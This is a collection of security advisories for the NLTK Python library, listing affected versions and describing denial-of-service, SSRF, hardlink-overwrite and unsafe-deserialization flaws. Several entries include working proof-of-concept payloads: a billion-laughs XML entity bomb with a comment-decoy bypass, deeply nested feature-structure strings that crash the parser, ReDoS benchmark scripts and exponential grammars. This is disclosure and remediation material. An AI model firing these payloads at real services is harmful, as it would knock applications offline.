Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Duplicate Advisory: Quadratic-time DoS in PorterStemmer via long runs of 'y'

Published date: 2026-08-27T18:32:29Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-ww6m-cw3f-q94g. This link is maintained to preserve external references.

Original Description

nltk PorterStemmer in versions <= 3.10.2 (fixed in 3.10.3) contains an inefficient-algorithmic-complexity denial of service in PorterStemmer.stem(). The isconsonant() helper walks backward over the entire run of trailing 'y' characters on every call, and _measure() invokes it for each stem position, causing O(n^2) behavior. A single ~20-50 KB untrusted token consisting of a long run of the letter 'y' followed by a matching suffix (e.g., 'ness') can pin a CPU core for seconds to minutes, causing availability impact.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses

Published date: 2026-09-08T16:42:18Z
CVE: CVE-2026-78681
Links:

Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.

Affected call sites (<= 3.10.2): - nltk.chunk.named_entity.load_ace_file — parses ACE annotation XML - nltk.internals.ElementWrapper — converts any given string to an Element - nltk.downloaderPackage.fromxml, Collection.fromxml, _find_collections, _find_packages

libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.

This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.


Attack demonstration

Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.

1. The amplification (vulnerable path: raw xml.etree.ElementTree)

A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:

levels input bytes expanded bytes factor
3 218 10,000 x45
4 274 100,000 x364
5 330 1,000,000 x3,030
6 386 (libexpat 2.7.1 cap trips) -

The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.

import xml.etree.ElementTree as ET
def bomb(levels):
    d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
    return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars

2. The patched entry point rejects it

>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)

3. Why a text-based screen is not enough

An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:

evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec     -> REJECTED (EntitiesForbidden)

An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.

4. Both back ends block it

nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:

stdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)

Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

ntlk unsafe deserialization vulnerability

Published date: 2024-06-28T00:33:31Z
CVE: CVE-2024-39705
Links:

NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averagedperceptrontagger and punkt.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1"]
Secure versions: []

Duplicate Advisory: pathsec SSRF protection can be bypassed when a proxy is configured

Published date: 2026-08-25T03:32:11Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-6ww7-3frv-cqxh. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.3 contains a server-side request forgery vulnerability in nltk.pathsec.urlopen (and callers nltk.data.load, nltk.downloader.Downloader.index/download) when an HTTP proxy is configured. pathsec.urlopen validates the requested hostname locally, but proxy-handler inheritance disables the safe HTTP/HTTPS handlers so the actual fetch is performed by the proxy against a destination that is never re-validated. An attacker can supply a validated public URL that the proxy forwards to an internal loopback-only service, allowing disclosure of internal HTTP resources, loading of forged downloader indexes, and installation of attacker-chosen package content.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Published date: 2026-08-22T15:31:03Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rf74-v2fm-23pw. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decode_obj() that allows attackers to cause denial of service by supplying deeply nested JSON structures. Attackers can craft JSON payloads exceeding the recursion limit to trigger an unhandled RecursionError that crashes the Python process.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input

Published date: 2026-09-02T14:33:22Z
CVE: CVE-2026-81724
Links:

Summary

nltk.featstruct.FeatStructReader (used by FeatStruct(str) and by FeatureGrammar.fromstring()) parses feature-structure strings such as [a=1] with a recursive-descent parser that has no nesting-depth limit. A small, trivially-crafted input (~700 bytes) with deeply nested brackets drives the parser past Python's recursion limit and raises an unhandled RecursionError instead of the library's normal, catchable ValueError/LogicalExpressionException. Any application that parses user-supplied feature-structure or feature-grammar text (e.g. NLP teaching tools, grammar playgrounds, unification-grammar-based NLU pipelines) can be crashed by an unauthenticated input with no special privileges. This is a Denial of Service issue (CWE-674, Uncontrolled Recursion), not a memory-safety or code-execution issue.

This appears to be the same bug class as two issues already fixed elsewhere in the codebase — nltk/jsontags.py (JSONTaggedDecoder.decode_obj, guarded by MAX_DECODE_DEPTH = 200) and nltk/sem/logic.py (LogicParser, guarded by MAX_PARSE_DEPTH = 200) — but nltk/featstruct.py does not have an equivalent guard.

Details

The recursive call chain (current develop branch, nltk/featstruct.py):

  1. FeatStructReader.fromstring() (featstruct.py:2184) calls read_partial()_read_partial() (featstruct.py:2250).
  2. _read_partial() dispatches to _read_partial_featdict(), which calls _read_value() (featstruct.py:2436) for each feature's value.
  3. _read_value() calls read_value() (featstruct.py:2442), which matches the value against VALUE_HANDLERS (featstruct.py:2478).
  4. If the value itself starts with [ (a nested feature structure), the matched handler is read_fstruct_value (featstruct.py:2479, defined at featstruct.py:2495): python def read_fstruct_value(self, s, position, reentrances, match): return self.read_partial(s, position, reentrances) This calls read_partial() again, which re-enters _read_partial() — the same function from step 1.

This closes a recursive cycle (_read_partial → _read_value → read_value → read_fstruct_value → read_partial → _read_partial → ...) with no depth counter, no MAX_*_DEPTH constant, and no try/except RecursionError anywhere in the class. Each additional [ in the input adds one more full cycle of Python stack frames. Once the input nests deeply enough, Python's own recursion-limit protection fires and raises RecursionError, which is not a subclass of ValueError (the exception type this parser's own _error() helper raises for normal, well-formed parse errors) and therefore propagates uncaught through this API.

For comparison, nltk/sem/logic.py's LogicParser was hardened against exactly this class of issue: ```python

: Maximum expression-nesting depth the recursive-descent parser will

: descend to. Deeply nested input would otherwise recurse until Python

: raises an uncaught RecursionError and crashes the caller

: (uncontrolled recursion, CWE-674); past this depth a normal

: LogicalExpressionException is raised instead. Configurable.

MAXPARSEDEPTH = 200 `` (nltk/sem/logic.py:102-107), andnltk/jsontags.py'sJSONTaggedDecodersimilarly hasMAXDECODEDEPTH = 200with an explicit depth check.nltk/featstruct.py` has no analogous protection.

FeatureGrammar.fromstring() (nltk/grammar.py) parses feature structures embedded in FCFG grammar rules via the same FeatStructReader, so the same crash is reachable through grammar-string parsing as well as through FeatStruct() directly.

PoC

Verified against the current develop branch in a clean virtualenv (Python 3.12, NLTK installed from this checkout via pip install -e .):

from nltk.featstruct import FeatStruct

depth = 167
payload = "[a=" * depth + "1" + "]" * depth   # 669 bytes
FeatStruct(payload)

Result: Traceback (most recent call last): ... File ".../nltk/featstruct.py", line 2310, in _read_partial_featdict value, position = self._read_value(name, s, position, reentrances) File ".../nltk/featstruct.py", line 2440, in _read_value return self.read_value(s, position, reentrances) File ".../nltk/featstruct.py", line 2446, in read_value return handler_func(s, position, reentrances, match) [... repeats ~167 times ...] RecursionError: maximum recursion depth exceeded

  • Crash threshold: nesting depth 167 (binary-searched between 50 and 200).
  • Payload size: 669 bytes — fits trivially in a single HTTP request body/query parameter.
  • Time to crash: <2ms — no resource exhaustion is needed, only recursion depth.

Minimal reproduction (no server required): bash python3 -c " from nltk.featstruct import FeatStruct FeatStruct('[a=' * 200 + '1' + ']' * 200) "

Illustrative server-side context (not part of NLTK itself, but representative of how the bug becomes reachable): ```python from flask import Flask, request from nltk.featstruct import FeatStruct

app = Flask(name)

@app.route(/parse, methods=[POST]) def parse_grammar(): return {result: str(FeatStruct(request.json[grammar]))} `` A POST of{grammar: [a= * 200 + 1 + ] * 200}to this endpoint raises the uncaughtRecursionError` inside the request handler.

Impact

Vulnerability type: Denial of Service via uncontrolled recursion (CWE-674). This is not a memory-corruption bug and does not lead to code execution or data disclosure — Python's own recursion-limit safety net converts what would be a C-level stack overflow into a catchable (but here, uncaught) RecursionError.

Who is affected: Any application that passes externally-supplied text into nltk.featstruct.FeatStruct() or nltk.grammar.FeatureGrammar.fromstring() — for example, NLP/computational-linguistics teaching tools, unification-grammar demo services, or NLU pipelines that accept user-authored feature grammars. This is a narrower slice of NLTK's user base than, e.g., tokenization or POS tagging, since feature-structure/unification-grammar parsing is a more specialized part of the library.

Practical severity depends on deployment: - In typical WSGI-style web frameworks (Flask/Django/FastAPI behind gunicorn/uwsgi), an uncaught exception inside a request handler is caught at the framework/server boundary: the single request fails (HTTP 500), the worker process itself survives, and unaffected requests are unimpacted. - In single-threaded or per-task-unprotected contexts (e.g. a queue-consuming worker without per-task exception isolation), the uncaught RecursionError can terminate the entire process; without a process supervisor that auto-restarts it, this is a persistent outage until manually restarted. An attacker who repeats the payload can keep such a worker in a crash loop for as long as the attack continues.

Suggested fix: Add a depth counter and a MAX_PARSE_DEPTH-style constant to FeatStructReader, mirroring the existing fix in nltk/sem/logic.py, and raise the library's normal ValueError-based parse error once the limit is exceeded instead of letting RecursionError propagate.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: Downloader.download follows hardlinks and overwrites outside-root files

Published date: 2026-09-02T14:35:41Z
CVE: CVE-2026-81727
Links:

Summary

NLTK's downloader now blocks symlink escapes during ZIP extraction, but it still treats pre-existing hardlinks inside the install tree as ordinary in-root files. A normal package install can therefore overwrite an outside-root inode through that hardlink.

Details

  • Vulnerability type: Filesystem containment bypass
  • Affected component: nltk.downloader.Downloader.download, nltk.downloader.Downloader.incr_download
  • Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced for the extraction-stage overwrite.
  • Patched versions: 3.10.3
  • Root cause: The downloader validates traversal and symlink conditions but does not reject pre-existing hardlink aliases inside the install tree.

The install flow correctly rejects a pre-existing symlink at an extraction target, yet it accepts a pre-existing hardlink at the same path. When the package is installed, extracted member data is written through the hardlink and mutates the outside inode.

PoC

Preconditions - The attacker can plant files inside a writable shared downloader root on the same filesystem as the target file.

Steps 1. Prepare a downloader root and create a hardlink inside it that points to an outside target file. 2. Confirm a symlink at the same path is rejected as a negative control. 3. Run a normal Downloader.download() package install whose extracted member lands on the hardlink path. 4. Observe the outside target file is overwritten while the downloader still reports the package as installed.

Minimal reproducible excerpt

extract_hardlink_before ORIGINAL
extract_hardlink_after PWNED
extract_hardlink_status installed

Impact

A shared or attacker-influenced downloader directory can be turned into an overwrite primitive against same-filesystem files outside the intended install root.

Remediation

Treat pre-existing hardlinks as unsafe in extraction targets, verify that each write path stays within the intended install tree at the inode level, and add regression tests that pair hardlinks with existing symlink controls.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)

Published date: 2022-01-06T17:38:45Z
CVE: CVE-2021-43854
Links:

Impact

The vulnerability is present in PunktSentenceTokenizer, sent_tokenize and word_tokenize. Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. In short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example: ```python from nltk.tokenize import word_tokenize

n = 8 for length in [10**i for i in range(2, n)]: # Prepare a malicious input text = a * length startt = time.time() # Call `wordtokenizeand naively measure the execution time word_tokenize(text) print(f"A length of {length:<{n}} takes {time.time() - start_t:.4f}s") Which gave the following output during testing: python A length of 100 takes 0.0060s A length of 1000 takes 0.0060s A length of 10000 takes 0.6320s A length of 100000 takes 56.3322s ... `` I canceled the execution of the program after running it for several hours.

If your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.

Patches

The problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result: python A length of 100 takes 0.0070s A length of 1000 takes 0.0010s A length of 10000 takes 0.0060s A length of 100000 takes 0.0400s A length of 1000000 takes 0.3520s A length of 10000000 takes 3.4641s This output shows a linear relationship in execution time versus input length, which is desirable for regular expressions. We recommend updating to NLTK 3.6.6+ if possible.

Workarounds

The execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.

References

For more information

If you have any questions or comments about this advisory: * Open an issue in github.com/nltk/nltk * Email us at nltk.team@gmail.com

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5"]
Secure versions: []

NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars

Published date: 2026-09-02T14:33:38Z
CVE: CVE-2026-12876
Links:

nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.

Proof of concept

Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:

from nltk import CFG
from nltk.parse import RecursiveDescentParser

# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

Impact

An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.

Sibling

The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

Published date: 2026-07-31T16:51:09Z
CVE: CVE-2026-12061
Links:

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

    bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
    bench("BOUNDED     fix #3583", FEATURES_FIXED)
    same = parity_check()

    print("\n" + "=" * 66)
    print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
    print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
    print(f" Extraction parity on real annotations preserved: {same}")
    print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
    print("=" * 66)


if __name__ == "__main__":
    main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Duplicate Advisory: NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection

Published date: 2026-08-22T15:31:03Z
CVE: CVE-2026-63310
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-5wp5-5229-5g6q. This link is maintained to preserve external references.

Original Description

